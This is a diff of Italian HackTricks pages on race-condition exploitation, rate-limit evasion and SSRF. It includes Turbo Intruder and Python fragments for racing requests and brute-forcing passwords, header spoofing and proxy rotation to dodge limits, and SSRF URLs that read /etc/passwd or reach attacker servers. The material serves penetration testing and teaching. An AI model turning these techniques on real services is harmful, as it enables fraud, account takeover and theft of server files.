{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -28,16 +28,16 @@ Per ottenere una comprensione approfondita di questa tecnica, controlla il repor
## Potenziare gli Attacchi di Condizione di Gara ## Potenziare gli Attacchi di Condizione di Gara
L'ostacolo principale nel sfruttare le condizioni di gara è assicurarsi che le richieste multiple siano gestite contemporaneamente, con **molto poco differenza nei tempi di elaborazione—idealmente, inferiore a 1ms**. L'ostacolo principale nel sfruttare le condizioni di gara è assicurarsi che più richieste siano gestite contemporaneamente, con **molto poco differenza nei tempi di elaborazione—idealmente, inferiore a 1ms**.
Qui puoi trovare alcune tecniche per la Sincronizzazione delle Richieste: Qui puoi trovare alcune tecniche per Sincronizzare le Richieste:
#### Attacco a Pacchetto Singolo HTTP/2 vs. Sincronizzazione Ultimo Byte HTTP/1.1 #### Attacco a Pacchetto Singolo HTTP/2 vs. Sincronizzazione Ultimo Byte HTTP/1.1
* **HTTP/2**: Supporta l'invio di due richieste su una singola connessione TCP, riducendo l'impatto della variazione della rete. Tuttavia, a causa delle variazioni lato server, due richieste potrebbero non essere sufficienti per uno sfruttamento coerente della condizione di gara. * **HTTP/2**: Supporta l'invio di due richieste su una singola connessione TCP, riducendo l'impatto della variazione della rete. Tuttavia, a causa delle variazioni lato server, due richieste potrebbero non essere sufficienti per uno sfruttamento coerente della condizione di gara.
* **HTTP/1.1 'Sincronizzazione Ultimo Byte'**: Consente di inviare in anticipo la maggior parte delle parti di 20-30 richieste, trattenendo un piccolo frammento, che viene quindi inviato insieme, raggiungendo un arrivo simultaneo al server. * **HTTP/1.1 'Ultimo Byte Sync'**: Consente di inviare in anticipo la maggior parte delle parti di 20-30 richieste, trattenendo un piccolo frammento, che viene quindi inviato insieme, raggiungendo un arrivo simultaneo al server.
La **Preparazione per la Sincronizzazione Ultimo Byte** coinvolge: La **Preparazione per l'Ultimo Byte Sync** coinvolge:
1. Invio di intestazioni e dati del corpo meno l'ultimo byte senza terminare lo stream. 1. Invio di intestazioni e dati del corpo meno l'ultimo byte senza terminare lo stream.
2. Pausa di 100ms dopo l'invio iniziale. 2. Pausa di 100ms dopo l'invio iniziale.
@ -52,15 +52,15 @@ Comprendere l'architettura del target è cruciale. I server front-end potrebbero
#### Gestione del Blocco Basato sulla Sessione #### Gestione del Blocco Basato sulla Sessione
I framework come il gestore di sessioni di PHP serializzano le richieste per sessione, oscurando potenzialmente le vulnerabilità. Utilizzare token di sessione diversi per ogni richiesta può aggirare questo problema. Framework come il gestore di sessioni di PHP serializzano le richieste per sessione, oscurando potenzialmente le vulnerabilità. Utilizzare token di sessione diversi per ogni richiesta può aggirare questo problema.
#### Superare i Limiti di Velocità o Risorse #### Superare Limiti di Velocità o Risorse
Se il riscaldamento della connessione non è efficace, innescare intenzionalmente i ritardi dei limiti di velocità o risorse dei server web attraverso un diluvio di richieste fasulle potrebbe agevolare l'attacco a pacchetto singolo inducendo un ritardo lato server favorevole alle condizioni di gara. Se il riscaldamento della connessione non è efficace, innescare intenzionalmente i ritardi dei limiti di velocità o risorse dei server web attraverso un diluvio di richieste fasulle potrebbe agevolare l'attacco a pacchetto singolo inducendo un ritardo lato server favorevole alle condizioni di gara.
## Esempi di Attacco ## Esempi di Attacco
* **Tubo Intruder - Attacco a pacchetto singolo HTTP2 (1 endpoint)**: Puoi inviare la richiesta a **Turbo intruder** (`Estensioni` -> `Turbo Intruder` -> `Invia a Turbo Intruder`), puoi modificare nella richiesta il valore su cui fare brute force per **`%s`** come in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` e quindi selezionare il **`esempi/race-single-packer-attack.py`** dal menu a discesa: * **Tubo Intruder - Attacco a pacchetto singolo HTTP2 (1 endpoint)**: Puoi inviare la richiesta a **Turbo intruder** (`Estensioni` -> `Turbo Intruder` -> `Invia a Turbo Intruder`), puoi modificare nella richiesta il valore su cui effettuare il brute force per **`%s`** come in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` e quindi selezionare il **`esempi/race-single-packer-attack.py`** dal menu a discesa:
<figure><img src="../.gitbook/assets/image (57).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (57).png" alt=""><figcaption></figcaption></figure>
@ -113,7 +113,7 @@ engine.openGate(currentAttempt)
<figure><img src="../.gitbook/assets/image (58).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (58).png" alt=""><figcaption></figcaption></figure>
* **Script Python automatizzato**: L'obiettivo di questo script è cambiare l'email di un utente verificandola continuamente fino a quando il token di verifica della nuova email arriva all'ultima email (questo perché nel codice era presente una RC in cui era possibile modificare un'email ma ricevere la verifica sulla vecchia perché la variabile che indicava l'email era già popolata con la prima).\ * **Script Python automatizzato**: L'obiettivo di questo script è cambiare l'email di un utente verificandola continuamente fino a quando il token di verifica della nuova email arriva all'ultima email (questo perché nel codice era presente un RC in cui era possibile modificare un'email ma ricevere la verifica sulla vecchia perché la variabile che indicava l'email era già popolata con la prima).\
Quando la parola "objetivo" viene trovata nelle email ricevute, sappiamo di aver ricevuto il token di verifica dell'email modificata e terminiamo l'attacco. Quando la parola "objetivo" viene trovata nelle email ricevute, sappiamo di aver ricevuto il token di verifica dell'email modificata e terminiamo l'attacco.
```python ```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun # https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
@ -247,7 +247,7 @@ response = requests.get(url, verify=False)
Prima della ricerca precedente, questi erano alcuni payload utilizzati che cercavano semplicemente di inviare i pacchetti il più velocemente possibile per causare una RC. Prima della ricerca precedente, questi erano alcuni payload utilizzati che cercavano semplicemente di inviare i pacchetti il più velocemente possibile per causare una RC.
* **Repeater:** Controlla gli esempi della sezione precedente. * **Repeater:** Controlla gli esempi della sezione precedente.
* **Intruder**: Invia la **richiesta** a **Intruder**, imposta il **numero di thread** su **30** all'interno del menu **Opzioni** e seleziona come payload **Payload Nulli** e genera **30.** * **Intruder**: Invia la **richiesta** a **Intruder**, imposta il **numero di thread** su **30** all'interno del menu **Opzioni** e seleziona come payload **Null payloads** e genera **30.**
* **Turbo Intruder** * **Turbo Intruder**
```python ```python
def queueRequests(target, wordlists): def queueRequests(target, wordlists):
@ -299,33 +299,33 @@ asyncio.run(main())
### Sovraccarico del limite / TOCTOU ### Sovraccarico del limite / TOCTOU
Questo è il tipo più basilare di condizione di gara in cui **vulnerabilità** che **appaiono** in luoghi che **limitano il numero di volte in cui puoi eseguire un'azione**. Come utilizzare lo stesso codice sconto in un negozio online più volte. Un esempio molto semplice può essere trovato in [**questo rapporto**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) o in [**questo bug**](https://hackerone.com/reports/759247)**.** Questo è il tipo più basilare di race condition in cui **vulnerabilità** che **appaiono** in luoghi che **limitano il numero di volte in cui puoi eseguire un'azione**. Come utilizzare lo stesso codice sconto in un negozio online più volte. Un esempio molto semplice si trova in [**questo rapporto**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) o in [**questo bug**](https://hackerone.com/reports/759247)**.**
Ci sono molte variazioni di questo tipo di attacco, tra cui: Ci sono molte variazioni di questo tipo di attacco, tra cui:
* Riscattare una carta regalo più volte * Riscattare una carta regalo più volte
* Valutare un prodotto più volte * Valutare un prodotto più volte
* Prelevare o trasferire denaro oltre il saldo del tuo conto * Prelevare o trasferire denaro in eccesso rispetto al saldo del tuo account
* Riutilizzare una singola soluzione CAPTCHA * Riutilizzare una singola soluzione CAPTCHA
* Superare un limite di velocità anti-bruteforce * Superare un limite di velocità anti-bruteforce
### **Sottostati nascosti** ### **Sottostati nascosti**
Sfruttare condizioni di gara complesse spesso implica approfittare di brevi opportunità per interagire con sottostati nascosti o **non intenzionali della macchina**. Ecco come affrontare questo: Sfruttare race condition complesse spesso implica approfittare di brevi opportunità per interagire con sottostati nascosti o **non intenzionali della macchina**. Ecco come affrontare questo:
1. **Identificare i potenziali sottostati nascosti** 1. **Identificare i potenziali sottostati nascosti**
* Inizia individuando i punti finali che modificano o interagiscono con dati critici, come profili utente o processi di reimpostazione della password. Concentrati su: * Inizia individuando i punti finali che modificano o interagiscono con dati critici, come i profili utente o i processi di reimpostazione della password. Concentrati su:
* **Archiviazione**: Preferisci i punti finali che manipolano dati persistenti lato server rispetto a quelli che gestiscono dati lato client. * **Archiviazione**: Preferisci i punti finali che manipolano dati persistenti lato server rispetto a quelli che gestiscono dati lato client.
* **Azione**: Cerca operazioni che modificano dati esistenti, che sono più suscettibili di creare condizioni sfruttabili rispetto a quelle che aggiungono nuovi dati. * **Azione**: Cerca operazioni che modificano dati esistenti, che sono più suscettibili di creare condizioni sfruttabili rispetto a quelle che aggiungono nuovi dati.
* **Chiave**: Gli attacchi riusciti di solito coinvolgono operazioni basate sullo stesso identificatore, ad esempio nome utente o token di reimpostazione. * **Chiave**: Gli attacchi riusciti di solito coinvolgono operazioni basate sulla stessa identificazione, ad esempio nome utente o token di reimpostazione.
2. **Condurre una Sondaggio Iniziale** 2. **Condurre una Sondaggio Iniziale**
* Testa i punti finali identificati con attacchi di condizione di gara, osservando eventuali deviazioni dagli esiti attesi. Risposte inaspettate o cambiamenti nel comportamento dell'applicazione possono segnalare una vulnerabilità. * Testa i punti finali identificati con attacchi di race condition, osservando eventuali deviazioni dagli esiti attesi. Risposte inaspettate o cambiamenti nel comportamento dell'applicazione possono segnalare una vulnerabilità.
3. **Dimostrare la Vulnerabilità** 3. **Dimostrare la Vulnerabilità**
* Riduci l'attacco al numero minimo di richieste necessarie per sfruttare la vulnerabilità, spesso solo due. Questo passaggio potrebbe richiedere tentativi multipli o automazione a causa del tempismo preciso coinvolto. * Riduci l'attacco al numero minimo di richieste necessarie per sfruttare la vulnerabilità, spesso solo due. Questo passaggio potrebbe richiedere tentativi multipli o automazione a causa del tempismo preciso coinvolto.
### Attacchi Sensibili al Tempo ### Attacchi Sensibili al Tempo
La precisione nel tempismo delle richieste può rivelare vulnerabilità, specialmente quando vengono utilizzati metodi prevedibili come i timestamp per i token di sicurezza. Ad esempio, generare token di reimpostazione della password basati sui timestamp potrebbe consentire token identici per richieste simultanee. La precisione nel tempismo delle richieste può rivelare vulnerabilità, specialmente quando vengono utilizzati metodi prevedibili come i timestamp per i token di sicurezza. Ad esempio, generare token di reimpostazione della password basati su timestamp potrebbe consentire token identici per richieste simultanee.
**Per Sfruttare:** **Per Sfruttare:**
@ -345,7 +345,7 @@ Controlla questo [**Laboratorio di PortSwigger**](https://portswigger.net/web-se
### Confermare altri indirizzi email ### Confermare altri indirizzi email
L'idea è **verificare un indirizzo email e cambiarlo contemporaneamente** con un altro per scoprire se la piattaforma verifica il nuovo indirizzo cambiato. L'idea è **verificare un indirizzo email e cambiarlo contemporaneamente** con un altro per scoprire se la piattaforma verifica il nuovo cambiato.
### Cambiare l'email in 2 indirizzi email basati su Cookie ### Cambiare l'email in 2 indirizzi email basati su Cookie
@ -363,7 +363,7 @@ Pertanto **registrare un account e inviare diverse richieste con un token vuoto*
### Bypass 2FA ### Bypass 2FA
Il seguente pseudo-codice è vulnerabile alla condizione di gara perché in un periodo di tempo molto breve il **2FA non è applicato** mentre viene creato il sessione: Il seguente pseudo-codice è vulnerabile alla race condition perché in un periodo di tempo molto breve il **2FA non è applicato** mentre la sessione viene creata:
```python ```python
session['userid'] = user.userid session['userid'] = user.userid
if user.mfa_enabled: if user.mfa_enabled:
@ -404,7 +404,7 @@ Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) * Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@ -413,7 +413,7 @@ Altri modi per supportare HackTricks:
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti comunitari più avanzati al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition) per costruire e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti comunitari più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}

View file

@ -3,18 +3,18 @@
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità **più avanzati al mondo**.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=rate-limit-bypass) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti comunitari **più avanzati** al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=rate-limit-bypass" %}
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -26,7 +26,7 @@ Altri modi per supportare HackTricks:
### Esplorare Endpoint Simili ### Esplorare Endpoint Simili
Dovrebbero essere effettuati tentativi di attacchi di forza bruta su variazioni del punto finale mirato, come `/api/v3/sign-up`, includendo alternative come `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up` ecc. Dovrebbero essere effettuati tentativi di attacchi di forza bruta su variazioni del punto finale mirato, come `/api/v3/sign-up`, inclusi alternative come `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up` ecc.
### Incorporare Caratteri Vuoti nel Codice o nei Parametri ### Incorporare Caratteri Vuoti nel Codice o nei Parametri
@ -50,23 +50,23 @@ X-Forwarded-For: 127.0.0.1
``` ```
### Modifica di Altri Intestazioni ### Modifica di Altri Intestazioni
È consigliabile modificare altre intestazioni della richiesta come l'user-agent e i cookie, poiché anche queste possono essere utilizzate per identificare e tracciare i modelli delle richieste. Modificare queste intestazioni può prevenire il riconoscimento e il tracciamento delle attività del richiedente. È consigliabile modificare altre intestazioni della richiesta come l'user-agent e i cookie, poiché possono essere utilizzati per identificare e tracciare i modelli delle richieste. Modificare queste intestazioni può prevenire il riconoscimento e il tracciamento delle attività del richiedente.
### Sfruttare il Comportamento del Gateway API ### Sfruttare il Comportamento del Gateway API
Alcuni gateway API sono configurati per applicare il limitazione del tasso in base alla combinazione di endpoint e parametri. Variando i valori dei parametri o aggiungendo parametri non significativi alla richiesta, è possibile aggirare la logica di limitazione del tasso del gateway, rendendo unica ogni richiesta. Ad esempio `/resetpwd?someparam=1`. Alcuni gateway API sono configurati per applicare il rate limiting in base alla combinazione di endpoint e parametri. Variando i valori dei parametri o aggiungendo parametri non significativi alla richiesta, è possibile aggirare la logica di rate-limiting del gateway, facendo apparire unica ogni richiesta. Ad esempio `/resetpwd?someparam=1`.
### Effettuare il Login nel Tuo Account Prima di Ogni Tentativo ### Effettuare il Login nel Tuo Account Prima di Ogni Tentativo
Effettuare il login in un account prima di ogni tentativo, o ad ogni serie di tentativi, potrebbe azzerare il contatore del limite di tasso. Questo è particolarmente utile durante i test delle funzionalità di accesso. Utilizzare un attacco Pitchfork in strumenti come Burp Suite, per ruotare le credenziali ogni pochi tentativi e assicurarsi che i reindirizzamenti siano contrassegnati, può riavviare efficacemente i contatori del limite di tasso. Effettuare il login in un account prima di ogni tentativo, o ad ogni serie di tentativi, potrebbe azzerare il contatore del rate limit. Questo è particolarmente utile durante i test delle funzionalità di login. Utilizzare un attacco Pitchfork in strumenti come Burp Suite, per ruotare le credenziali ogni pochi tentativi e assicurarsi che i redirect siano segnati, può riavviare efficacemente i contatori del rate limit.
### Utilizzare Reti Proxy ### Utilizzare Reti Proxy
Implementare una rete di proxy per distribuire le richieste su più indirizzi IP può aggirare efficacemente i limiti di tasso basati sull'IP. Instradando il traffico attraverso vari proxy, ogni richiesta sembrerà provenire da una fonte diversa, diluendo l'efficacia del limite di tasso. Implementare una rete di proxy per distribuire le richieste su più indirizzi IP può aggirare efficacemente i limiti di rate basati sull'IP. Instradando il traffico attraverso vari proxy, ogni richiesta sembra provenire da una fonte diversa, diluendo l'efficacia del rate limit.
### Dividere l'Attacco tra Diversi Account o Sessioni ### Dividere l'Attacco tra Diversi Account o Sessioni
Se il sistema di destinazione applica limiti di tasso su base per-account o per-sessione, distribuire l'attacco o il test su più account o sessioni può aiutare ad evitare la rilevazione. Questo approccio richiede la gestione di identità o token di sessione multipli, ma può distribuire efficacemente il carico per rimanere entro i limiti consentiti. Se il sistema di destinazione applica limiti di rate per account o sessione, distribuire l'attacco o il test su più account o sessioni può aiutare ad evitare la rilevazione. Questo approccio richiede la gestione di identità o token di sessione multipli, ma può distribuire efficacemente il carico per rimanere entro i limiti consentiti.
<details> <details>
@ -74,9 +74,9 @@ Se il sistema di destinazione applica limiti di tasso su base per-account o per-
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github. * **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
@ -85,7 +85,7 @@ Altri modi per supportare HackTricks:
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=rate-limit-bypass) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti comunitari più avanzati al mondo.\
Ottieni l'Accesso Oggi: Ottieni l'Accesso Oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=rate-limit-bypass" %}

View file

@ -3,10 +3,10 @@
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\ Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
<details> <details>
@ -42,7 +42,7 @@ La prima cosa da fare è catturare un'interazione SSRF generata da te. Per cattu
## Bypass dei Domini in Whitelist ## Bypass dei Domini in Whitelist
Di solito scoprirai che l'SSRF funziona solo in **certi domini in whitelist** o URL. Nella pagina seguente trovi una **raccolta di tecniche da provare per aggirare quella whitelist**: Di solito scoprirai che l'SSRF funziona solo in **certi domini in whitelist** o URL. Nella pagina seguente trovi una **raccolta di tecniche da provare per bypassare quella whitelist**:
{% content-ref url="url-format-bypass.md" %} {% content-ref url="url-format-bypass.md" %}
[url-format-bypass.md](url-format-bypass.md) [url-format-bypass.md](url-format-bypass.md)
@ -50,7 +50,7 @@ Di solito scoprirai che l'SSRF funziona solo in **certi domini in whitelist** o
### Bypass tramite reindirizzamento aperto ### Bypass tramite reindirizzamento aperto
Se il server è correttamente protetto, potresti **aggirare tutte le restrizioni sfruttando un reindirizzamento aperto all'interno della pagina web**. Poiché la pagina web permetterà **SSRF allo stesso dominio** e probabilmente seguirà i reindirizzamenti, puoi sfruttare il **reindirizzamento aperto per fare in modo che il server acceda a qualsiasi risorsa interna**.\ Se il server è correttamente protetto, potresti **bypassare tutte le restrizioni sfruttando un reindirizzamento aperto all'interno della pagina web**. Poiché la pagina web permetterà **SSRF allo stesso dominio** e probabilmente seguirà i reindirizzamenti, puoi sfruttare il **reindirizzamento aperto per fare in modo che il server acceda a qualsiasi risorsa interna**.\
Leggi di più qui: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf) Leggi di più qui: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
## Protocolli ## Protocolli
@ -58,13 +58,13 @@ Leggi di più qui: [https://portswigger.net/web-security/ssrf](https://portswigg
* **file://** * **file://**
* Lo schema URL `file://` è riferito, puntando direttamente a `/etc/passwd`: `file:///etc/passwd` * Lo schema URL `file://` è riferito, puntando direttamente a `/etc/passwd`: `file:///etc/passwd`
* **dict://** * **dict://**
* Lo schema URL DICT è descritto come utilizzato per accedere a definizioni o elenchi di parole tramite il protocollo DICT. Viene fornito un esempio di URL costruito che mira a una parola specifica, un database e un numero di voce, nonché un'istanza di uno script PHP che potrebbe essere utilizzato impropriamente per connettersi a un server DICT utilizzando credenziali fornite dall'attaccante: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>` * Lo schema URL DICT è descritto come utilizzato per accedere a definizioni o elenchi di parole tramite il protocollo DICT. Viene fornito un esempio di URL costruito che mira a una parola specifica, a un database e a un numero di voce, nonché un'istanza di uno script PHP potenzialmente abusato per connettersi a un server DICT utilizzando credenziali fornite dall'attaccante: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
* **SFTP://** * **SFTP://**
* Identificato come un protocollo per il trasferimento sicuro di file tramite shell sicura, viene fornito un esempio che mostra come uno script PHP potrebbe essere sfruttato per connettersi a un server SFTP maligno: `url=sftp://generic.com:11111/` * Identificato come un protocollo per il trasferimento sicuro di file tramite shell sicura, viene fornito un esempio che mostra come uno script PHP potrebbe essere sfruttato per connettersi a un server SFTP maligno: `url=sftp://generic.com:11111/`
* **TFTP://** * **TFTP://**
